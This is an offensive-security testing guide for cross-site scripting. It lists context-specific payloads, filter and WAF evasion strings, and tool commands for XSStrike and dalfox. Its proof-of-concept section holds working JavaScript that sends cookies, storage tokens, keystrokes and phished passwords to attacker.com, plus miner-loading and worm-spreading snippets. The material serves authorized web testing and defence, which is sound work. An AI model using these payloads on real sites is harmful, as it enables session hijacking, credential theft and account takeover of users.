Skip to main content
CWECWE-79
WSTGWSTG-INPV-01, WSTG-INPV-02
MITRE ATT&CKT1059.007
CVSS Range4.3-9.6
Toolsdalfox
Difficulty🟡 intermediate

Cross-Site Scripting (XSS)

Test for XSS by injecting payloads into all user-controlled inputs and tracing where they appear in the response. Confirm execution in the browser, then escalate to demonstrate real impact such as session hijacking or credential theft.

Quick Reference​

The most common payloads per injection context. Try these first before moving to advanced techniques.

HTML Body Context​

<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>

HTML Attribute Context​

" onmouseover="alert(1)
" autofocus onfocus="alert(1)
"><img src=x onerror=alert(1)>

JavaScript String Context​

';alert(1)//
";alert(1)//
</script><script>alert(1)</script>

URL/href Context​

javascript:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

CSS Context​

expression(alert(1))
url('javascript:alert(1)')

When "alert" Is Blocked​

confirm(1)
prompt(1)
window['al'+'ert'](1)
alert`1`
onerror=alert;throw 1

Test Systematically​

Follow this approach to identify all potential XSS injection points.

Step 1: Scan with Automated Tools​

Use web application scanners for initial discovery before manual testing:

  • OWASP ZAP: Run an active scan against the target. ZAP performs automated XSS detection across reflected, stored, and DOM-based variants. Check the Alerts panel for any XSS findings.
  • Nikto: Run nikto -h <target> to identify server misconfigurations and potential injection points. Nikto flags missing security headers and known-vulnerable scripts.
  • Nuclei: Run nuclei -u <target> -t xss/ to test against a curated template library of known XSS patterns and bypasses.

Step 2: Check Security Headers​

Before crafting payloads, inspect the response headers. These directly affect what payloads will work:

curl -I https://target.com | grep -iE "content-security-policy|x-frame-options|x-content-type-options|x-xss-protection"
  • Content-Security-Policy: If present, you must analyze and bypass it (see CSP Bypass Techniques below).
  • X-Frame-Options: Affects whether XSS can be exploited via framing attacks.
  • X-Content-Type-Options: nosniff: May block XSS in responses with non-HTML content types.

Also check for CSP in meta tags:

<meta http-equiv="Content-Security-Policy" content="...">

Step 3: Enumerate Input Vectors​

Map ALL locations where user-controlled data enters the application:

URL Components:

  • Query parameters (?param=value)
  • URL path segments (/user/NAME/profile)
  • URL fragments (#anchor)
  • Full URL (reflected in page)

Request Headers:

  • User-Agent (often logged and displayed in admin analytics)
  • Referer (analytics, error pages)
  • X-Forwarded-For (admin dashboards)
  • Accept-Language (error pages)
  • Custom headers (API key displays)

Request Body:

  • Form fields (all types)
  • JSON properties
  • XML elements
  • File upload filenames
  • Multipart form data field names

Other Sources:

  • Cookies (session identifiers displayed in debug output, preference cookies reflected in page)
  • PostMessage (cross-origin message handlers)

Step 4: Analyze Output Context​

For each input vector, trace where the data appears in the response:

Direct Reflection (Immediate): Search results pages, error messages, form pre-population, URL canonicalization displays.

Stored Reflection (Delayed): Profile pages, comment sections, messaging interfaces, admin dashboards, report exports.

DOM Manipulation (Client-Side): SPA rendering, dynamic content loading, client-side templates, hash-based routing.

Use a unique marker to find where your input is reflected:

curl -s "https://target.com/search?q=UNIQUE_MARKER_12345" | grep -o ".\{50\}UNIQUE_MARKER_12345.\{50\}"

Step 5: Analyze Filters​

When basic payloads fail, determine what the filter blocks:

  • Characters: Are < > ' " ( ) filtered? Are spaces filtered?
  • Keywords: Is script, alert, onerror, javascript: blocked?
  • Transformations: Is input HTML-encoded? URL-encoded? Stripped? Truncated?
  • Case sensitivity: Does the filter match case-insensitively?

Context-Specific Payloads​

HTML Context​

When your input appears directly between HTML tags:

<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video onloadstart=alert(1)><source>
<audio onloadstart=alert(1)><source>

JavaScript Context​

When your input appears inside a <script> block:

'-alert(1)-'
';alert(1)//
";alert(1)//
\';alert(1)//
</script><script>alert(1)</script>

Attribute Context​

When your input appears inside an HTML attribute value:

" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='
" autofocus onfocus="alert(1)
" onclick="alert(1)
"><script>alert(1)</script>
"><img src=x onerror=alert(1)>

URL Context​

When your input appears in href or src attributes:

javascript:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

CSS Context​

When your input appears in style attributes or <style> blocks:

expression(alert(1))
url('javascript:alert(1)')

Evade Filters​

Case Variation​

<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>

HTML Entity Encoding​

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

URL Encoding​

%3Cscript%3Ealert(1)%3C/script%3E
%253Cscript%253Ealert(1)%253C/script%253E (double encoding)

Unicode Encoding​

<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<img src=x onerror="\u0061lert(1)">

Hex Encoding​

<script>alert\x281\x29</script>

Null Byte Injection​

<scr%00ipt>alert(1)</scr%00ipt>
<img%00src=x onerror=alert(1)>

Tag Manipulation​

<scr<script>ipt>alert(1)</scr</script>ipt>
<<script>script>alert(1)</script>
<script/random>alert(1)</script>
<script >alert(1)</script>
<script >alert(1)</script>

(The last two use tab and newline as separators.)

Attribute Manipulation​

<img src=x onerror	=alert(1)>
<img src=x onerror
=alert(1)>
<img src=x onerror=alert(1)//
<svg/onload=alert(1)>
<svg onload=alert(1)//

Alternative Event Handlers​

Try these when common event handlers like onerror and onload are blocked:

<body onpageshow=alert(1)>
<body onresize=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<video onloadstart=alert(1)><source>
<audio onloadstart=alert(1)><source>
<details ontoggle=alert(1) open>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<meter onmouseover=alert(1)>0</meter>

JavaScript Protocol Variations​

javascript:alert(1)
java%0ascript:alert(1)
java%09script:alert(1)
java%0dscript:alert(1)
&#106;avascript:alert(1)
&#x6A;avascript:alert(1)

Alert Function Alternatives​

When alert is blocked by keyword:

confirm(1)
prompt(1)
console.log(1)
document.write(1)
eval('ale'+'rt(1)')
window['al'+'ert'](1)
this['al'+'ert'](1)
[]['constructor']['constructor']('alert(1)')()
top['al'+'ert'](1)
frames['al'+'ert'](1)

Parentheses Bypass​

When ( and ) are blocked:

alert`1`
onerror=alert;throw 1
{onerror=alert}throw 1
onerror=eval;throw'=alert\x281\x29'

Bypass WAFs​

Scroll-Snap Event Bypass​

A modern technique exploiting CSS scroll-snap events, effective against many WAFs:

<address onscrollsnapchange=window['ev'+'a'+(['l','b','c'][0])](window['a'+'to'+(['b','c','d'][0])]('YWxlcnQob3JpZ2luKQ==')); style=overflow-y:hidden;scroll-snap-type:x><div style=scroll-snap-align:center>1337</div></address>

How it works:

  • Uses onscrollsnapchange (newer event, less commonly filtered by WAFs)
  • Obfuscates eval() as window['ev'+'a'+(['l','b','c'][0])]
  • Obfuscates atob() as window['a'+'to'+(['b','c','d'][0])]
  • Base64-encodes the actual payload (YWxlcnQob3JpZ2luKQ== = alert(origin))
  • CSS styling triggers the event automatically without user interaction

Details/Ontoggle Mixed-Case Bypass​

Exploits case-insensitive HTML parsing with URL-encoded newlines:

"><deTAIls/+/oNTogGLE%0A=%0Aconfirm()%0Dx>

How it works:

  • Mixed case (deTAIls, oNTogGLE) bypasses case-sensitive filters
  • /+/ acts as an attribute separator (parsed as whitespace)
  • %0A (newline) breaks pattern matching in WAFs
  • %0Dx (carriage return + x) terminates the tag
  • The details element auto-opens, triggering ontoggle

URL-decoded version:

"><deTAIls/+/oNTogGLE
=
confirm()
x>

Test Framework-Specific Sinks​

React​

  • Look for dangerouslySetInnerHTML usage
  • Test href/src attributes with javascript: protocol
  • Check for SSR (Server-Side Rendering) reflection points

Angular​

  • Test template injection: {{constructor.constructor('alert(1)')()}}
  • Check for [innerHTML] bindings
  • Look for bypassSecurityTrust* usage in the codebase

Vue​

  • Test v-html directive
  • Check for :href bindings with user input
  • Look for server-side rendering injection points

jQuery​

  • Test $.html(), $.append(), $.prepend() sinks
  • Look for .attr() with user input
  • Check for $.parseHTML() usage

SPAs (Single Page Applications)​

  • Focus on DOM-based XSS
  • Trace data flow from API responses to DOM rendering
  • Check client-side template rendering
  • Test postMessage handlers
  • Analyze JavaScript source for dangerous sinks

Test Rich Text Editors and File Uploads​

Rich Text Editors​

  • Test markdown/HTML injection
  • Check for WYSIWYG editor bypasses
  • Test copy/paste functionality with malicious HTML
  • Check for SVG/math element injection
  • Test file upload of SVG files with embedded JavaScript

SVG File Upload​

<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
</svg>

HTML File Upload​

<html><body><script>alert(1)</script></body></html>

XML File Upload (If Rendered)​

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "javascript:alert(1)">]>
<foo>&xxe;</foo>

Test Mobile App WebViews​

XSS in WebViews can be especially dangerous because it may access native app functionality:

  • Check for JavaScript interfaces exposed to the WebView (e.g., addJavascriptInterface on Android)
  • Test deep link handlers that render content in a WebView
  • Look for client-side injection in web views that bridge to native APIs
  • Verify whether the WebView enforces the same-origin policy

Assess Impact​

Use these levels to classify the severity and quality of your finding.

Level 1: Basic Detection (Low Confidence)​

Criteria: Payload appears reflected/stored without encoding, but no JavaScript execution confirmed.

Evidence required: HTTP response showing unencoded payload in the page source.

Example: "Input <test> is reflected as <test> in the response body without encoding."

Level 2: Confirmed Vulnerability (Medium Confidence)​

Criteria: JavaScript execution confirmed in the browser.

Evidence required: Alert/console output visible, full HTTP request/response demonstrating the injection.

Example: "Payload <script>alert(document.domain)</script> executes in the browser, showing domain target.com in the alert popup."

Level 3: Demonstrated Impact (High Confidence)​

Criteria: Real-world attack demonstrated -- session data accessible, user impact clear.

Evidence required: Cookie/session token access demonstrated, exfiltration to external domain successful.

Example: "XSS payload successfully accesses document.cookie containing the session token. Exfiltration to an attacker-controlled server demonstrated. Session can be hijacked."

Level 4: Critical Impact​

Criteria (any of): Stored XSS affecting multiple users, account takeover demonstrated, admin panel XSS, worm capability, CSP bypass achieved, mass user compromise possible.

Evidence required: Full attack chain documentation, multiple-user impact evidence (for stored), administrative action capability (for admin XSS), bypass technique documentation (for CSP bypass).

Example: "Stored XSS in user profile bio field. Any user viewing the attacker's profile executes the payload. Demonstrated: session hijacking, account takeover, and action execution as victim. Affects all users who view the profile."

Build a Proof of Concept​

Impact Demonstration Payloads​

Cookie Theft:

new Image().src='https://attacker.com/steal?c='+document.cookie;

// Fetch-based
fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie));

// If cookies are HTTPOnly, steal tokens from DOM/storage instead
new Image().src='https://attacker.com/steal?token='+localStorage.getItem('authToken'); // gitleaks:allow

Session Hijacking:

var data = {
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
url: location.href
};
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});

Keylogging:

document.onkeypress = function(e) {
new Image().src = 'https://attacker.com/log?key=' + e.key; // gitleaks:allow
};

Phishing via XSS:

document.body.innerHTML = '<h1>Session Expired</h1>' +
'<form action="https://attacker.com/phish" method="POST">' +
'<input name="user" placeholder="Username">' +
'<input name="pass" type="password" placeholder="Password">' +
'<button>Login</button></form>';

CSRF via XSS (Chaining):

fetch('/api/admin/delete-user', {
method: 'POST',
credentials: 'include',
body: JSON.stringify({userId: 'target'}),
headers: {'Content-Type': 'application/json'}
});

Crypto Miner Injection (Impact Demonstration Only):

var s = document.createElement('script');
s.src = 'https://attacker.com/miner.js';
document.body.appendChild(s);

Worm Creation (Stored XSS):

var payload = encodeURIComponent('<script src="https://attacker.com/worm.js"></script>');
fetch('/api/update-profile', {
method: 'POST',
body: JSON.stringify({bio: payload}),
headers: {'Content-Type': 'application/json'}
});

Common Pitfalls and False Positives​

Self-XSS: XSS that only affects the attacker themselves is generally not a valid finding. Verify that the XSS affects OTHER users or can be exploited via social engineering (reflected XSS with a convincing URL).

Sandboxed Iframes: XSS within a sandboxed iframe without allow-scripts allow-same-origin has limited impact. Check iframe sandbox attributes.

X-Content-Type-Options Blocking: Some reflected XSS attempts may be blocked by MIME type sniffing protections. Test in multiple browsers and check response headers.

HTTPOnly Cookies: If session cookies have the HTTPOnly flag, document.cookie will not include them. Check for OTHER sensitive data: localStorage, DOM data, API tokens. Note that HTTPOnly cookies can still be used for CSRF via XSS.

Content-Type Mismatch: XSS in JSON/API responses may not execute if Content-Type is application/json. Check if the browser renders the response as HTML.

POST-Only Reflected XSS: Reflected XSS that only triggers via POST requests requires CSRF to exploit. Document the full exploitation chain (CSRF to XSS) or find GET-based reflection.

Encoded Output Misinterpretation: HTML entities in page source do not mean the XSS works -- the browser interprets entities during rendering. Always check the actual rendered output using the browser's element inspector.

Tools​

XSStrike (Primary)​

XSStrike is an advanced XSS detection and exploitation tool with intelligent payload generation.

# Test a URL parameter
python xsstrike.py -u "https://target.com/search?q=test"

# Test POST data
python xsstrike.py -u "https://target.com/submit" --data "name=test"

# With cookies
python xsstrike.py -u "https://target.com/search?q=test" --headers "Cookie: session=abc"

# Crawl and test
python xsstrike.py -u "https://target.com" --crawl

# Blind XSS mode
python xsstrike.py -u "URL" --blind

# Skip DOM analysis
python xsstrike.py -u "URL" --skip-dom

# Custom payload file
python xsstrike.py -u "URL" --file payloads.txt

# Fuzzing mode
python xsstrike.py -u "URL" --fuzzer

Dalfox (Alternative)​

Modern Go-based XSS scanner with strong WAF bypass capabilities.

# Basic scan
dalfox url "https://target.com/search?q=test"

# With data payload
dalfox url "https://target.com/search?q=test" -d "name=value"

# Blind XSS with callback
dalfox url "https://target.com/search?q=test" -b "your.callback.server"

# Pipeline from other tools
cat urls.txt | dalfox pipe

# Custom payload
dalfox url "https://target.com/search?q=test" --custom-payload payloads.txt

When to use each: XSStrike for initial detection and context analysis. Dalfox for WAF bypass and blind XSS. Use both for comprehensive coverage.

Manual Testing with curl​

For precision testing and edge cases:

# Test reflection context
curl -s "https://target.com/search?q=UNIQUE_MARKER" | grep -o ".\{50\}UNIQUE_MARKER.\{50\}"

# Test basic payloads
curl -s "https://target.com/search?q=<script>alert(1)</script>"
curl -s "https://target.com/search?q=\"onmouseover=alert(1)\""
curl -s "https://target.com/search?q=javascript:alert(1)"

# Test encoding bypass
curl -s "https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -s "https://target.com/search?q=\\u003cscript\\u003ealert(1)\\u003c/script\\u003e"

Prioritization​

Test these first (highest real-world exploitability)​

  1. Stored XSS in user-generated content -- EPSS >0.6 for known stored XSS CVEs. Highest impact because it affects every user who views the content without requiring social engineering. Target profile fields, comments, and messaging.
  2. Reflected XSS in search and error pages -- Most commonly reported XSS variant. Search parameters and error messages frequently reflect input without encoding.
  3. DOM-based XSS in SPAs via innerHTML and document.write -- Modern SPAs heavily use client-side rendering. Trace data flow from URL fragments and query parameters to dangerous sinks.

Test these if time permits (lower exploitability)​

  1. XSS via file upload (SVG, HTML) -- Requires file upload functionality and the server to serve uploaded files with HTML content type. Lower probability but high impact when present.
  2. CSP bypass techniques -- Only relevant when basic XSS is confirmed but CSP blocks execution. Focus on JSONP endpoints and whitelisted CDN gadgets.
  3. XSS in HTTP headers (User-Agent, Referer) -- Requires admin panels or analytics dashboards that render these values. Narrow attack surface but often overlooked.

Skip if​

  • No user-controlled input is reflected or stored anywhere in the application

Note: Strict CSP and framework auto-encoding significantly reduce XSS risk but do not eliminate it. CSP can be bypassed via base tag injection, script gadgets, and trusted type violations. Modern frameworks still have escape hatches (dangerouslySetInnerHTML, [innerHTML], v-html). Reduce priority and test bypass techniques rather than skipping entirely.

Asset criticality​

Prioritize by user exposure: admin panels (stored XSS = admin account takeover) > authenticated user pages > public-facing pages. XSS on endpoints handling session tokens or payment data is always higher priority than XSS on informational pages.